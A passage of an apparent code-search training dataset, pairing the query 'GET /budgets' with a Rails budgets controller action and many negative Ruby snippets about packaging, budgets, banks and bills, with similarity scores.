script?(:after_remove)\n install_script = template(\"pacman/INSTALL.erb\").result(binding)\n install_script_file = build_path(\".INSTALL\")\n File.write(install_script_file, install_script)\n end\n\n generate_mtree\n\n File.expand_path(output_path).tap do |path|\n ::Dir.chdir(build_path) do\n safesystem(*([tar_cmd,\n compression_option,\n \"-cf\",\n path] + data_tar_flags + \\\n ::Dir.entries(\".\").reject{|entry| entry =~ /^\\.{1,2}$/ }))\n end\n end\n end", "def stow_buildout_path\n \"#{node['stow']['path']}/stow#{pkg_delim}#{node['stow']['version']}\"\n end", "def gem_dir # :nodoc:\n super\n end", "def make_universal(file_path, this_arch, other_arch)\n other_arch_file = file_path.sub(this_arch, other_arch) # create file path for other architecture...\n universal_file = file_path.sub(this_arch, 'universal') # ...and universal architecture\n run_cmd \"lipo #{file_path} #{other_arch_file} -create -output #{universal_file}\"\n run_cmd \"lipo -info #{universal_file}\"\n end", "def fix_name(name)\n if name.start_with?(\"python\")\n # If the python package is called \"python-foo\" strip the \"python-\" part while\n # prepending the package name prefix.\n return [attributes[:python_package_name_prefix], name.gsub(/^python-/, \"\")].join(\"-\")\n else\n return [attributes[:python_package_name_prefix], name].join(\"-\")\n end\n end", "def license_package_location(component_name, where)\n if local?(where)\n File.join(output_dir, \"#{component_name}-#{File.split(where).last}\")\n else\n u = URI(where)\n File.join(output_dir, \"#{component_name}-#{File.basename(u.path)}\")\n end\n end", "def license_package_location(component_name, where)\n if local?(where)\n File.join(output_dir, \"#{component_name}-#{File.split(where).last}\")\n else\n u = URI(where)\n File.join(output_dir, \"#{component_name}-#{File.basename(u.path)}\")\n end\n end", "def default_install_dir\n @install_dir ||= CernerSplunk::PathHelpers.default_install_dirs[package][node['os'].to_sym]\n raise \"Unsupported Combination: #{package} + #{node['os']}\" unless @install_dir\n @install_dir\n end", "def install\n safe_system \"pax --insecure -rz -f Payload.gz -s ',./bin,#{bin},' -s ',./man,#{man},' -s ',./lib,#{lib},' -s ',./license_gpl_pdftk,#{prefix}/LICENSE,' -s ',./,#{prefix}/README/,'\"\n end", "def shellParse(input)\n #input.gsub!(\"\\\\\", \"\\\\\\\\\\\\\") # Allows '\\' chars in windows paths to be handled properly in shellwords\n argv = shellwords(input)\n return(argv) if !(rdi = argv.index('|') || argv.index('>>') || argv.index('>'))\n \n rda = argv.slice!(rdi..-1)\n begin\n if rda[0] == '|'\n raise MiqRedirectError.new(), \"Missing pipe target command\" if rda.length < 2\n $miqOut = IO.popen(rda[1..-1].join(\" \"), \"w\")\n else\n raise MiqRedirectError.new(), \"\\\"#{rda.join(' ')}\\\"\" if rda.length != 2\n $miqOut = File.new(rda[1], rda[0] == '>' ? \"w\" : \"a\")\n end\n rescue => err\n raise MiqRedirectError.new(), err.to_s\n end\n return(argv)\n end", "def output_package(pkg_type)\n case pkg_type\n when 'makeself'\n \"#{package_name}-#{build_version}_#{iteration}.sh\"\n when 'msi'\n Packager::WindowsMsi.new(self).package_name\n when 'bff'\n \"#{package_name}.#{bff_version}.bff\"\n when 'pkgmk'\n \"#{package_name}-#{build_version}-#{iteration}.solaris\"\n when 'mac_pkg'\n Packager::MacPkg.new(self).package_name\n when 'mac_dmg'\n pkg = Packager::MacPkg.new(self)\n Packager::MacDmg.new(pkg).package_name\n else # fpm\n require \"fpm/package/#{pkg_type}\"\n pkg = FPM::Package.types[pkg_type].new\n pkg.version = build_version\n pkg.name = package_name\n pkg.iteration = iteration\n if pkg_type == 'solaris'\n pkg.to_s('NAME.FULLVERSION.ARCH.TYPE')\n else\n pkg.to_s\n end\n end\n end", "def pathDist\n\t\"../../\" + distPackageName + \"_\" + version + \"/\"\nend", "def test_it_should_know_its_gem_path_with_a_default_location\n ENV.delete \"INSPEC_CONFIG_DIR\"\n ENV[\"HOME\"] = File.join(@config_dir_path, \"fakehome\")\n expected = File.join(ENV[\"HOME\"], \".inspec\", \"gems\", @ruby_abi_version)\n assert_equal expected, @installer.gem_path\n end", "def convert_package(pkginfo, packaging_dir,\n gem_name: nil,\n patch_dir: nil\n )\n Packager.info \"Package Ruby: '#{pkginfo.name}' with gem_name: '#{gem_name}'\"\n\n # update dependencies in any case, i.e. independent if package exists or not\n deps = pkginfo.dependencies\n Dir.chdir(pkginfo.srcdir) do\n begin\n logname = \"package-ruby-#{pkginfo.name.sub(\"/\",\"-\")}\" + \"-\" + Time.now.strftime(\"%Y%m%d-%H%M%S\").to_s + \".log\"\n logfile = File.join(log_dir, logname)\n\n gem = FileList[\"pkg/*.gem\"].first\n if not gem\n Packager.info \"#{self.class}: preparing gem generation in #{Dir.pwd}\"\n\n # Rake targets that should be tried for cleaning\n gem_clean_success = false\n Gem.clean_alternatives.each do |target|\n msg, status = Open3.capture2e(pkginfo.env, \"bundle exec rake #{target}\")\n if !status.success?\n Packager.info \"#{self.class}: failed to clean package '#{pkginfo.name}' using target '#{target}' #{msg} (see #{logfile})\"\n File.open(logfile,\"a+\") {|f| f.puts msg }\n else\n Packager.info \"#{self.class}: succeeded to clean package '#{pkginfo.name}' using target '#{target}'\"\n gem_clean_success = true\n break\n end\n end\n if not gem_clean_success\n Packager.warn \"#{self.class}: failed to cleanup ruby package '#{pkginfo.name}' -- continuing without cleanup\"\n end\n\n Packager.info \"#{self.class}: ruby package Manifest.txt is being autogenerated\"\n Package2Gem.generate_manifest_txt\n Package2Gem.cleanup_multiple_gemspec(gem_name)\n\n Packager.info \"#{self.class}: creating gem from package #{pkginfo.name} [#{File.join(log_dir, logname)}]\"\n\n if patch_pkg_dir(pkginfo.name, patch_dir, whitelist: [\"*.gemspec\", \"Rakefile\", \"metadata.yml\"])\n Packager.info \"#{self.class}: patched build files for ruby package before gem building: #{pkginfo.name}\"\n end\n\n # Allowed gem creation alternatives\n gem_creation_success = false\n\n # Gemspec often use the 'git ls -z' listings, which\n # might break if hidden files will be removed\n # without commiting -- so temporarily add and revert\n # again, to maintain the original commit id\n # TBD: or leave the commit and list the last N commits in the changelog\n Packager.info \"#{self.class}: temporarily commit changes in #{Dir.pwd}\"\n _,_,git_add_status = Open3.capture3(\"git add -A\")\n msg,git_commit_status = Open3.capture2(\"git commit -m 'Apaka: gem creation' --author 'Apaka Packager, <apaka@autocommit>'\")\n if !git_commit_status.success?\n Packager.info \"#{self.class}: commit failed: #{msg}\"\n end\n Gem.creation_alternatives.each do |target|\n msg, status = Open3.capture2e(pkginfo.env, \"bundle exec rake #{target}\")\n if !status.success?\n Packager.info \"#{self.class}: failed to create gem using target '#{target}' (see #{logfile})\"\n File.open(logfile,\"a+\") do |f|\n f.puts msg\n f.puts pkginfo.env\n end\n else\n Packager.info \"#{self.class}: succeeded to create gem using target '#{target}'\"\n gem_creation_success = true\n break\n end\n end\n if git_commit_status.success?\n Packager.info \"#{self.class}: git package status\"\n msg, git_revert = Open3.capture2(\"git reset --soft HEAD~1\")\n Packager.info \"#{self.class}: reversion of temporary commit failed\"\n end\n if not gem_creation_success\n raise RuntimeError, \"Debian: failed to create gem from RubyPackage #{pkginfo.name}\"\n end\n end\n\n gem = FileList[\"pkg/*.gem\"].first\n\n # Make the naming of the gem consistent with the naming schema of\n # other packages\n #\n # Make sure the gem has the fullname, e.g.\n # tools-metaruby instead of just metaruby\n if gem_name\n gem_name = gem.sub(Packaging.basename(pkginfo.name), gem_name)\n if gem != gem_name\n Packager.info \"#{self.class}: renaming #{gem} to #{gem_name}\"\n end\n else\n gem_name = gem\n end\n Packager.info \"#{self.class}: '#{pkginfo.name}' -- basename: #{Packaging.basename(pkginfo.name)} will be packaged as: #{gem_name}\"\n\n gem_final_path = File.join(packaging_dir, File.basename(gem_name))\n Packager.info \"#{self.class}: copy #{File.join(Dir.pwd, gem)} to #{gem_final_path}\"\n FileUtils.cp gem, gem_final_path\n return gem_final_path\n\n rescue Exception => e\n raise RuntimeError, \"#{self.class}: failed to create gem from RubyPackage #{pkginfo.name} -- #{e.message}\\n#{e.backtrace.drop(1).map{|s| \"\\t#{s}\"}}\"\n end\n end\n end", "def etc; (HOMEBREW_PREFIX+'etc').extend(InstallRenamed) end", "def get_nuget_path_of\n out = yield\n out.match(/Successfully created package '([:\\s\\p{Word}\\\\\\/\\d\\.\\-]+\\.symbols\\.nupkg)'./iu) if out.respond_to? :match\n trace \"Got symbols return value: '#{out}', matched: '#{$1}'\" if $1\n return $1 if $1\n\n out.match(/Successfully created package '([:\\s\\p{Word}\\\\\\/\\d\\.\\-]+\\.nupkg)'./iu)if out.respond_to? :match\n trace \"Got NOT-symbols return value: '#{out}', matched: '#{$1}'\"\n\n unless $1\n args = ARGV.inject(\"\") { |state, arg| state + \" \" + '\"' + arg + '\"' }\n warn do\n %{Couldn't match package, please run\n bundle exec rake DEBUG=true #{args} --trace\nand report a bug to albacore with the full output. Here's the nuget process output:\n--- START OUTPUT ---\n#{out}\n--- END OUTPUT ---\n}\n end\n end\n\n $1\n end", "def autorun_cmd(repo_name)\n [\"cp -Rf #{STARTDIR}/components/autogen/#{repo_name}/* .\",\n \"touch Makefile\"]\nend", "def xfixrvml(path)\n #path.gsub!(/-L\\/home\\/ccoupe\\/\\.rvm/, \"-L#{TGT_SYS_DIR}rvm\")\n return path\nend", "def update!(**args)\n @apt_package = args[:apt_package] if args.key?(:apt_package)\n @cos_package = args[:cos_package] if args.key?(:cos_package)\n @googet_package = args[:googet_package] if args.key?(:googet_package)\n @qfe_package = args[:qfe_package] if args.key?(:qfe_package)\n @windows_application = args[:windows_application] if args.key?(:windows_application)\n @wua_package = args[:wua_package] if args.key?(:wua_package)\n @yum_package = args[:yum_package] if args.key?(:yum_package)\n @zypper_package = args[:zypper_package] if args.key?(:zypper_package)\n @zypper_patch = args[:zypper_patch] if args.key?(:zypper_patch)\n end", "def lib_path=(_arg0); end", "def lib_path=(_arg0); end", "def lib_path=(_arg0); end", "def install!(name:, dir: nil)\r\n end" ]
[ "0.6390976", "0.61305445", "0.6080514", "0.57882375", "0.5706573", "0.5666347", "0.55662334", "0.5544388", "0.54973555", "0.5487566", "0.5483074", "0.54114586", "0.53654104", "0.5324341", "0.5318689", "0.53143626", "0.5229491", "0.52245295", "0.52205014", "0.5216575", "0.5201036", "0.5169494", "0.51443577", "0.5127798", "0.5126105", "0.50907815", "0.50906724", "0.5090524", "0.50897396", "0.5086651", "0.50783646", "0.50740397", "0.50740397", "0.50380075", "0.502779", "0.502779", "0.502779", "0.5024007", "0.50091577", "0.50066626", "0.50065285", "0.49971786", "0.49778306", "0.49731928", "0.49655893", "0.4961108", "0.49543178", "0.4948233", "0.49459115", "0.49384958", "0.49306414", "0.49293312", "0.49249172", "0.49241686", "0.49151343", "0.4913122", "0.49116057", "0.49075437", "0.49007165", "0.48983154", "0.48983154", "0.48956823", "0.4886709", "0.488609", "0.4882064", "0.48678473", "0.4862363", "0.48615628", "0.48582748", "0.48555452", "0.4849766", "0.48494026", "0.48494026", "0.48442173", "0.48429552", "0.4838513", "0.4834453", "0.4834453", "0.48287648", "0.48261777", "0.48199502", "0.48193142", "0.48150036", "0.48072633", "0.48068097", "0.48011595", "0.4799372", "0.47986138", "0.47954795", "0.47945705", "0.47942746", "0.47923115", "0.47872755", "0.47867537", "0.478082", "0.47775373", "0.47704926", "0.47678065", "0.47678065", "0.47678065", "0.47616106" ]
0.0
-1
GET /budgets GET /budgets.json
def index @budgets = Budget.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def budgets\n # https://developer.xero.com/documentation/api/budgets\n # if you are having issues in adding the accounting.budgets.read scope, get in touch => api@xero.com\n @budgets = xero_client.accounting_api.get_budgets(current_user.active_tenant_id).budgets\n @budget = xero_client.accounting_api.get_budget(current_user.active_tenant_id, @budgets.sample.budget_id).budgets\n end", "def index\n get_budgets\n end", "def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end", "def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end", "def get_budgets(opts = {})\n data, _status_code, _headers = get_budgets_with_http_info(opts)\n data\n end", "def get_budgets_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetsApi.get_budgets ...'\n end\n # resource path\n local_var_path = '/budgets'\n\n # query parameters\n query_params = {}\n query_params[:'include_accounts'] = opts[:'include_accounts'] if !opts[:'include_accounts'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BudgetSummaryResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetsApi#get_budgets\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @budget }\n end\n end", "def show\n load_budget\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budget }\n end\n end", "def get_budget_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetApi.get_budget_all_using_get ...'\n end\n # resource path\n local_var_path = '/nucleus/v1/budget'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'currency_conversion'] = opts[:'currency_conversion'] if !opts[:'currency_conversion'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageBudget')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetApi#get_budget_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n # TODO: implement filters\n @budgets = Budget.order(\"budgets.starts_at DESC, budgets.number ASC\")\n .page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n #format.select2 { render json: { items: budgets.map(&:to_select2_json), total: @budgets.count} }\n #format.json { render json: @budgets }\n end\n end", "def index\n @budgets = Budget.all.paginate(page: params[:page], :per_page => 5).order(\"created_at DESC\")\n end", "def show\n @budget = Budget.find(params[:id])\n @other_budgets = current_user.budgets conditions: [\"id != ?\", @budget.id]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budget }\n end\n end", "def create\n @budget = Budget.new(params[:budget])\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to budgets_path }\n format.json { render json: @budget, status: :created, location: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @budget = Budget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget }\n end\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def index\n @budgets = Budget.all\n @budgets = Budget.order(params[:by] + \" \" + params[:order]).page params[:page] if params[:sort] == \"true\"\n @budgets = Budget.order(:id).page params[:page]\n end", "def index\n @budget_approvers = BudgetApprover.all\n end", "def set_budget\n @budget = Budget.find(params[:id])\n\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def index\n\t\t@budget_id = params[:budget_id]\n\t\t@budget = Budget.find(@budget_id)\n\t\t@valorizations = @budget.valorizations\n\t\trender :index, :layout => false\n\tend", "def index\n respond_to do |format|\n format.html # index.html.erb (no data required)\n f = find_budgets\n format.ext_json { render :json => f.to_ext_json(:class => :budget, \n :count => f.length,\n :methods=>[:total_budget_costs,:total_budget_invoices,:total_budget_pricings],\n :include=>{:user=>{:only=>\"login\"}}) }\n \n end\n end", "def create\n @budget = Budget.new(budget_params)\n respond_to do |format|\n if @budget.save\n \n if !params[:budget][:items].nil?\n params[:budget][:items].each do |f| \n Item.where([\"id = #{f}\"]).first.update(budget_id: @budget.id)\n end\n end\n \n format.html { redirect_to budgets_path, notice: \"Budget was successfully created.\" }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(params[:budget])\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render json: @budget, status: :created, budget: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @budget = Budget.new\n @budgetProducts = []\n @customer = Customer.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget }\n end\n end", "def show\n @budgetcategory = Budgetcategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budgetcategory }\n end\n end", "def index\n @budgets = Budget.where(:session => $sess_name)\n\n end", "def new\n @budget = Budget.new\n\n respond_to do |format|\n format.html # new.html.erb\n # format.json { render json: @budget }\n end\n end", "def banks_get(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: BanksApi#banks_get ...\"\n end\n \n # resource path\n path = \"/banks\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = ['khipu']\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BanksResponse')\n if Configuration.debugging\n Configuration.logger.debug \"API called: BanksApi#banks_get. Result: #{result.inspect}\"\n end\n return result\n end", "def create\n @budget = Budget.new(params[:budget])\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render json: @budget, status: :created, location: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_budget_all_using_get(opts = {})\n data, _status_code, _headers = get_budget_all_using_get_with_http_info(opts)\n data\n end", "def create\n @budget = Budget.new(budget_params)\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(budget_params)\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_budget_by_id_with_http_info(budget_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetsApi.get_budget_by_id ...'\n end\n # verify the required parameter 'budget_id' is set\n if @api_client.config.client_side_validation && budget_id.nil?\n fail ArgumentError, \"Missing the required parameter 'budget_id' when calling BudgetsApi.get_budget_by_id\"\n end\n # resource path\n local_var_path = '/budgets/{budget_id}'.sub('{' + 'budget_id' + '}', budget_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'last_knowledge_of_server'] = opts[:'last_knowledge_of_server'] if !opts[:'last_knowledge_of_server'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BudgetDetailResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetsApi#get_budget_by_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @budgetitems = Budgetitem.all.order(:name)\n end", "def index\n @budget_products = BudgetProduct.all\n end", "def get_budget_using_get_with_http_info(budget_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetApi.get_budget_using_get ...'\n end\n # verify the required parameter 'budget_id' is set\n if @api_client.config.client_side_validation && budget_id.nil?\n fail ArgumentError, \"Missing the required parameter 'budget_id' when calling BudgetApi.get_budget_using_get\"\n end\n # resource path\n local_var_path = '/nucleus/v1/budget/{budget_id}'.sub('{' + 'budget_id' + '}', budget_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'currency_conversion'] = opts[:'currency_conversion'] if !opts[:'currency_conversion'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Budget')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetApi#get_budget_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_budgets(db)\r\n budgets = db.execute(\"SELECT * FROM budgets\")\r\nend", "def get_brandings\n request :get, \"/v3/brandings.json\"\n end", "def index\n @time = Time.new\n @prev_time = @time - 1.month\n @next_time = @time + 1.month\n @months = [@prev_time, @time, @next_time]\n @month_time_format = \"%B %Y\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end", "def index\n @therapy_budgets = TherapyBudget.all\n end", "def index\n p \"#{params}\"\n @budget_lines = BudgetLine.all\n respond_to do |format|\n format.html\n format.js\n end\n end", "def bills(options = {})\n get('/bills', options)\n end", "def index\n\n @debtors = Debtor.all\n\n render json: @debtors\n end", "def show\n add_breadcrumb I18n.t('helpers.breadcrumbs.budgets.show')\n @budget_details = BudgetDetail.all\n\n @budget = Budget.find(params[:id])\n respond_to do |format|\n format.html\n format.pdf do\n pdf = BudgetPdf.new(@budget, view_context)\n send_data pdf.render,\n filename: \"budget_#{@budget.id}.pdf\",\n type: 'application/pdf',\n disposition: 'inline'\n end\n format.json {render json: @budget, include: :budget_details}\n end\n end", "def index\n @export_budgets = ExportBudget.all\n end", "def budget_params\n params.require(:budget).permit(:name, :from, :expires, :user_id, items: [:id])\n end", "def budget_params\n params.require(:budget).permit(:income, :savings, :housing, :utilities, :food, :food, :transportation, :clothing, :personal, :recreation, :debt, :kids, :session, :budget_name)\n end", "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "def show\n @budgeting_type = BudgetingType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budgeting_type }\n end\n end", "def budget_params\n params.require(:budget).permit(:name, :allotment, :start, :end)\n end", "def destroy\n @budget = Budget.find(params[:id])\n @budget.destroy\n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end", "def index\n @budget_dispositions = BudgetDisposition.all\n end", "def create\n @budget = Budget.new(budget_params)\n @client = Client.new\n @clients = Client.all\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'El presupuesto se creó correctamente' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @banks = Bank.all\n render json: @banks\n end", "def destroy\n @budget = Budget.find(params[:id])\n @budget.destroy\n\n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end", "def balances(id)\n get(\"/accounts/#{id}/balances\")\n end", "def get_banks\n HTTParty.get(BASE_URI + 'bank?country=ghana',\n headers: HEADERS).parsed_response\n end", "def index\n @bills = @dwelling.bills\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end", "def get_budget_by_id(budget_id, opts = {})\n data, _status_code, _headers = get_budget_by_id_with_http_info(budget_id, opts)\n data\n end", "def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end", "def index\n @bills = Bill.all_cached\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end", "def get_budget_using_get(budget_id, opts = {})\n data, _status_code, _headers = get_budget_using_get_with_http_info(budget_id, opts)\n data\n end", "def create\n @budget = Budget.new(params[:budget])\n @budget.user = current_user\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render json: @budget, status: :created, location: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_budget_for_order\n @budget_for_order = BudgetForOrder.find(params[:id])\n @budgets=Budget.where([\"budget_for_order_id = ?\", \"#{params[:id]}\"])\n end", "def budget\n budget = Paystub.where(year: Time.now.year, month: Time.now.month).reorder('').pluck(Arel.sql('SUM(clinic_deduction)')).first\n\t budget ||= 0.0\n\t flash.now[:info] = \"This month's budget (sum of deductions of all active doctors): #{sprintf(\"$%.2f\",budget)} \"\n\t render inline: '', layout: true\n end", "def getbalance(args={})\n {\n :method=> \"GetBalances\"\n }.to_json\n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n Item.where([\"budget_id = #{params[:id]}\"]).update_all(budget_id: nil)\n if !params[:budget][:items].nil?\n params[:budget][:items].each do |f| \n Item.where([\"id = #{f}\"]).first.update(budget_id: params[:id])\n end\n end\n format.html { redirect_to budgets_path, notice: \"Budget was successfully updated.\" }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @budgetcategory = Budgetcategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budgetcategory }\n end\n end", "def index\n @export_budgets = ExportBudget.get_export_budgets_by_user current_user\n @export_budgets = @export_budgets.page(params[:page]).per(25)\n end", "def balances()\n request(\"#{@base_url}/account/getbalances\")\n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @buisnesses = Buisness.all\n\n render json: @buisnesses \n end", "def index\n # @budget_domains = current_user.budget_domains\n end", "def index\n if params[:page] == '1' and params[:per_page] == '10' and params[:sort_by] == 'count' and params[:order] == 'desc'\n burn_list = Rails.cache.fetch('burn_list') { CodeburnerUtil.get_burn_list }\n return render(:json => {count: Rails.cache.fetch('stats'){CodeburnerUtil.get_stats}[:burns], results: burn_list })\n end\n\n safe_sorts = ['id', 'service_id', 'service_name', 'revision', 'code_lang', 'repo_url', 'status']\n sort_by = 'burns.id'\n order = nil\n\n if params[:sort_by] == 'service_name'\n sort_by = \"services.pretty_name\"\n else\n sort_by = \"#{params[:sort_by]}\" if safe_sorts.include? params[:sort_by]\n end\n\n unless params[:order].nil?\n order = params[:order].upcase if ['ASC','DESC'].include? params[:order].upcase\n end\n\n burns = Burn.id(params[:id]) \\\n .service_id(params[:service_id]) \\\n .service_name(params[:service_name]) \\\n .revision(params[:revision]) \\\n .status(params[:status]) \\\n .order(\"#{sort_by} #{order}\") \\\n .page(params[:page]) \\\n .per(params[:per_page]) \\\n\n render(:json => {count: burns.total_count, results: burns})\n end", "def index\n @entries = current_user.entries.for_month(@date)\n @budgets = current_user.budgets\n end", "def index\n @funds = Fund.all\n\n render json: @funds\n end", "def index\n @bids = Bid.where(\"auction_id = ?\", params[:auction_id])\n\n render json: @bids\n end", "def show\n @breadcrumb = 'read'\n @budget_heading = BudgetHeading.find(params[:id])\n @charge_groups = @budget_heading.charge_groups.paginate(:page => params[:page], :per_page => per_page).order(:group_code)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budget_heading }\n end\n end", "def index\n @budget_for_orders = BudgetForOrder.all.order(\"created_at DESC\")\n end", "def bills\n 